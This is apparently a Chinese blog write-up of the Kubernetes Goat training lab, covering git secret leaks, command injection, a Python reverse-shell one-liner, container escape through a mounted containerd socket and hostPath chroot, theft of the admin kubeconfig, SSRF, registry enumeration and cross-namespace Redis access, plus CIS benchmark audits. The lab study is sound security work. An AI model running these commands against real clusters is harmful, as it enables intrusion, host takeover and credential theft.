Kubernetes Goat靶场练习1-12题writeup
大致把k8s的架构学完了,接下来要继续学就是构建,开发那边的东西了,所以直接开始打靶场
Kubernetes Goat 是一个故意设计存在漏洞的 Kubernetes 集群环境,专门用于安全学习和实战练习。它由 Madhu Akula 创建,核心目标是让安全研究人员、运维和开发人员能在安全可控的环境中,亲手体验并理解 Kubernetes 环境里真实存在的错误配置和漏洞。
部署
1 | #k8s环境下拉取github项目仓库 |
启动访问
1 | chmod +x access-kubernetes-goat.sh |

为啥这么多靶场都要叫什么什么goat呢?KubernetesGoat、Cloudgoat、CI/CD Goat
Sensitive keys in codebases
开发人员往往会将敏感信息提交到版本控制系统中。随着我们向CI/CD 和GitOps系统迈进,我们往往会忘记识别代码和提交中的敏感信息。让我们看看能否在这里找到一些有趣的东西!
先dirsearch扫一下
1 | dirsearch -u http://47.129.24.49:1230/ |

发现git泄露
通过git-dumper将.git拉下来
1 | git-dumper http://47.129.24.49:1230/.git ./dumped_source |
1 | cd dumped_source |

1 | git show d7c173ad183c574109cd5c4c648ffe551755b576 |

泄露了aksk,拿到flag了
防护
进入pod
1 | export POD_NAME=$(kubectl get pods --namespace default -l "app=build-code" -o jsonpath="{.items[0].metadata.name}") |
1 | trufflehog file:///app/.git |

后面看到一坨是因为在pod内部自带的trufflehog是v2的老版本,这个版本发现密钥的方式非常简单粗暴,就是**“高熵值(High Entropy)”检测算法**
在密码学中,“熵”代表随机性和混乱程度。一段有意义的英文(比如
hello_world)熵值很低;而一段毫无规律的随机字符(比如7rix8v8GpI3ZBb0nSozFRg...)熵值极高。
老版本的trufflehog逻辑很简单粗暴:只要它发现文件里有一段长长的、看起来像乱码的随机字符,它就会怀疑这是密钥或 Token,并把它报出来。
DIND (docker-in-docker) exploitation
大多数使用Docker并在管道中为你构建容器的CI/CD和管道系统都使用了一种叫做DIND(Docker-in-Docker)的技术。简单来说就是在Docker容器中调用和执行宿主机的Docker,在这种情况下,我们试图利用并获取对主机系统的访问权限。

好熟悉,首先是一个命令拼接,rce
1 | ;mount |
查看当前系统中已经挂载(连接)的文件系统。
在 Linux 中,所有的设备(硬盘、U 盘、网络存储等)都必须“挂载”到系统的某个目录(挂载点)下,你才能访问里面的文件。mount 命令单独执行时,就是把这些信息全部列出来。
在 Kubernetes 靶场(或真实的 K8s 环境)中,看 mount 命令的输出极其重要,因为它是容器逃逸、权限提升的突破口。

在goat中,靶场将宿主机的Docker socket挂载到了容器内部的非标准路径/custom/containerd/containerd.sock
可以通过下载docker,然后用命令连接可以进行逃逸从而进一步控制主机
先弹shell,后面方便做一些
1 | nc -lvnp 12345 |
1 | 127.0.0.1; python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your ip",12345));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
容器内没有云原生客户端,需要先下载一个
1 | ;wget https://github.com/kubernetes-sigs/cri-tools/releases/download/v1.27.1/crictl-v1.27.1-linux-amd64.tar.gz -O /tmp/crictl.tar.gz |
之后通过socket向宿主机containerd发起命令
1 | /tmp/crictl -r unix:///custom/containerd/containerd.sock images |
列举出宿主机的镜像,理论上到这里就完成了,但是还可以进一步的,创建一个挂载在\上的特权镜像,实现容器逃逸
1 | /tmp/docker/docker -H unix:///custom/containerd/containerd.sock run -it --privileged -v /:/host --rm alpine sh |
-H unix://...:让 docker 客户端连上那个 socket,而不是本地默认 socket。run --privileged:请求宿主机containerd在宿主机上启动一个新容器,并赋予它特权。-v /:/host:把宿主机的根目录/挂载到新容器的/host。
SSRF in the Kubernetes (K8S) world
SSRF(服务器端请求伪造)漏洞已成为针对云原生环境的常用攻击手段。在此场景中,我们将探讨如何通过利用SSRF这类应用程序漏洞来获取对云实例元数据及内部服务元数据信息的访问权限。
滚木yakit,发100个包失败72个,还ddos把我服务打崩了,就当我爆出来了

访问5000端口返回
1 | "{\"info\": \"Refer to internal http://metadata-db for more information\"}" |



然后解码就好了
还是ssrf,没看出和k8s有什么联系啊
Container escape to the host system
大多数监控、追踪和调试软件都需要以额外的权限和能力运行。在这种情况下,我们将看到一个具有额外能力和权限(包括HostPath)的Pod,它使我们能够访问主机系统,并提供节点级配置,从而完全控制集群。

可以看到这个环境将宿主机挂载到了容器的/host-system目录下
将/host-system作为根目录开启一个bash
1 | chroot /host-system bash |
Linux 上所有文件路径都从根
/开始。chroot的作用是把一个目录“伪装”成新的根/。执行chroot /host-system bash后,bash 进程及其子进程看到的所有绝对路径,都以/host-system为起点。它看不到/host-system之外的文件,以为那就是整个文件系统。在你的场景里,
/host-system是 Pod 通过hostPath挂载进来的宿主机根目录。所以chroot /host-system bash的效果是:你的 shell 以为自己运行在宿主机上,能看到宿主机的/etc、/var、/root。这就是逃逸的关键一步。

执行之后可以看到目录变成宿主机的根目录,可以窃取宿主机的信息

可以看到kubeconfig中暴露了高权限的admin凭证,可以借此控制k8s集群
1 | kubectl --kubeconfig /etc/kubernetes/admin.conf get nodes |

发现环境变量中没有kubectl,还需要查找,通过绝对路径来引用
1 | ind / -name kubectl -type f 2>/dev/null |
关于conf
admin.conf 是 kubeconfig 文件的一种。它不是用来部署资源的 YAML,而是 kubectl 用来连接集群、证明身份的配置文件。
你可以把它理解成一张“门禁卡”:
- YAML(Deployment 等):告诉集群“我要什么”(跑几个副本、用什么镜像)。
- kubeconfig(admin.conf):告诉
kubectl“集群在哪、我是谁、我有什么权限”。
没有 kubeconfig,kubectl 连 API Server 都连不上,YAML 写得再对也部署不出去。
一个 kubeconfig 通常包含三块:
1. clusters(集群信息)
1 | clusters: |
告诉 kubectl:API Server 的地址是什么,用哪个 CA 来验证服务端证书。
2. users(用户凭证)
1 | users: |
这是你的“身份证”。K8s 用 TLS 双向认证,API Server 通过这对证书确认“你是谁”。admin.conf 里的证书属于 kubernetes-admin,默认拥有集群管理员权限。
3. contexts(上下文)
1 | contexts: |
把“哪个用户”和“哪个集群”绑在一起,并指定当前默认使用哪个。
所以拿到这个凭证就可以拿到集群管理权限
使用方式
1 | kubectl --kubeconfig /etc/kubernetes/admin.conf get nodes |
Docker CIS benchmarks analysis
该场景主要用于在Kubernetes节点上执行Docker CIS基准测试,以识别可能的安全漏洞。
要开始此场景,您可以访问节点并按照docker bench security进行操作,或运行以下命令将docker bench security作为DaemonSet部署。
1 | kubectl apply -f scenarios/docker-bench-security/deployment.yaml |
=docker-bench-security=:
它本质上是一个 Shell 脚本,由 Docker 官方维护,基于 CIS Docker Benchmark(互联网安全中心发布的 Docker 安全配置标准)做自动化检查。它会逐项检查宿主机和 Docker 守护进程的配置,输出 PASS / FAIL / WARN / INFO 结果。
1 | # docker run -it --net host --pid host --userns host --cap-add audit_control \ |
1 | kubectl get pods -o wide #找到刚刚开启容器 |

这一关和之前的渗透关卡不同,是偏向于蓝队,教导如何在每个节点中起一个docker-bench-security的pod来进行安全审查,但是我在部署时的环境烂了,没办法挂载在socket上,最后直接用docker跑了一次
Kubernetes CIS benchmarks analysis
此场景主要是在Kubernetes节点上执行Kubernetes CIS基准分析,以识别可能存在的安全漏洞。 要开始使用此场景,您可以访问节点并按照kube-bench安全标准执行操作,或者运行以下命令将kube-bench作为Kubernetes作业进行部署
1 | kubectl apply -f scenarios/kube-bench-security/node-job.yaml |

这两个 YAML 文件本质上是在 K8s 里启动 Job(一次性任务)。它们使用的镜像叫
kube-bench,这是一个由 Aqua Security 开发的开源工具,专门用来检查 K8s 是否符合 CIS Kubernetes Benchmark 标准。
master-job.yaml:专门针对控制面节点(Master)。它检查的是 K8s 的大脑(API Server、etcd 数据库、调度器 Scheduler)有没有配错。node-job.yaml:专门针对工作节点(Node)。它检查的是干活的肌肉(kubelet、kube-proxy、节点上的文件权限)有没有漏洞。
| 对比维度 | 第五关:Docker 审计 | 第六关:K8s 审计 |
|---|---|---|
| 体检对象 | Docker 守护进程(Docker Daemon) | Kubernetes 组件(API Server、kubelet) |
| 使用的工具 | docker-bench-security |
kube-bench |
| 通俗比喻 | 查“盖房子的砖”:检查容器本身跑得安不安全。 | 查“房子的承重墙”:检查管理容器的平台安不安全。 |
| 核心检查项 | 是否允许特权容器?socket 有没有乱挂?容器之间网络有没有隔离? | API Server 开没开审计日志?etcd 数据权限对不对?kubelet 配置文件是不是谁都能读? |
| 部署方式 | DaemonSet(因为要检查每台机器上的 Docker) | Job(一次性任务,跑完就退出) |
在真实的红蓝对抗中,如果你是攻击者(红队),拿到这两份报告简直就是“藏宝图”。
- 看到 Master 没开审计日志,你就可以放心大胆地调用 API Server 搞破坏,因为没人会发现;
- 看到 Node 的文件权限配置错误,你就可以尝试提权,或者篡改 kubelet 配置。
如果你是防守方(蓝队),跑完这俩脚本,按照 Remediations(修复建议)里的提示,去敲几个 chmod 和 chown 命令把权限收紧,集群的安全等级就能瞬间拔高一大截。
Attacking private registry
容器仓库是所有容器镜像 推送的地方。大多数情况下,每个组织都有自己的私有仓库。此外,有时它最终会被错误配置,变成公开/开放的。另一方面,开发人员认为它只是内部私有仓库,最终将所有敏感信息存储在容器镜像中。让我们看看这里能发现什么。

dirsearch扫一下看到泄露了/v2/_catalog路径
/v2/_catalog是 Docker Registry(镜像仓库)的标准 API 接口。正常情况下,它应该需要认证才能访问。但靶场里这个仓库(poor-registry)配置不当,允许任何人直接查看镜像列表。

在 Docker 和 Kubernetes 的世界里,Manifest(清单) 就像是一个集装箱(镜像)的**“出厂规格说明书”**。
当你在网上(或者私有仓库里)看到一个镜像时,你看到的只是一个名字(比如 k8s-goat-users-repo)。但 Docker 系统需要知道很多具体信息才能使用它:它的架构是 x86 还是 ARM?它包含了哪些层(Layers)?它启动时默认带有哪些环境变量?它默认执行的命令是什么?
这些所有信息,都记录在 Manifest 这个 JSON 格式的文件里。
NodePort exposed services
如果任何用户在Kubernetes集群中使用NodePort暴露了任何服务。这意味着,如果运行Kubernetes集群的节点没有启用任何防火墙/网络安全措施,我们可能会看到一些未经身份验证和授权的服务。 要开始此场景,请运行以下命令并查找Kubernetes节点中的开放端口 当Kubernetes创建一个NodePort服务时,它会从定义Kubernetes集群的标志中指定的范围分配一个端口。(默认情况下,这些端口范围是30000-32767。)
因为我部署在aws的ec2上,所以有它官方的防火墙,我懒得去开放,简单说一下做法及就行
先用nmap扫一下
1 | nmap -T4 -p 30000-32767 <your ip> |
扫出来个30003端口开放,暴露了内网信息

Kubernetes namespaces bypass
默认情况下,Kubernetes使用平面网络架构,这意味着集群内的任何Pod/服务都可以与其他Pod/服务通信。默认情况下,集群内的命名空间没有任何网络安全限制。任何命名空间中的任何对象都可以与其他命名空间通信。我们听说Kubernetes-Goat喜欢缓存。让我们看看是否可以访问其他命名空间 要开始这个场景,让我们在默认命名空间中运行我们超棒的黑客容器
看提示大概可以猜出是要我们在内网中找到其他命名空间中的redis服务,然后去读它的内容
1 | kubectl run -it hacker-container --image=madhuakula/hacker-container -- sh |
传统扫内网先
1 | zmap -p 6379 10.0.0.0/8 -o results.csv |
zmap用不了,换nmap试试
1 | nmap -sT -p 6379 -n -T4 10.0.0.0/8 --open |
看到10.110.249.103开放了对应的服务,主动连上去看看
1 | redis-cli -h 10.110.249.103 |
1 | 10.110.249.103:6379> KEYS * |
拿到了